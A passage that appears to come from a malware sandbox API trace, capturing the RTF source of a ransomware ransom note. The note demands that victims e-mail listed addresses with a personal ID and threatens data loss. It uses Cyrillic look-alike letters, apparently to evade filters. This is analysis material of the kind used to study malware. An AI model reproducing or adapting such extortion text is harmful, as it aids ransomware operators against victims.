f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0042.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must 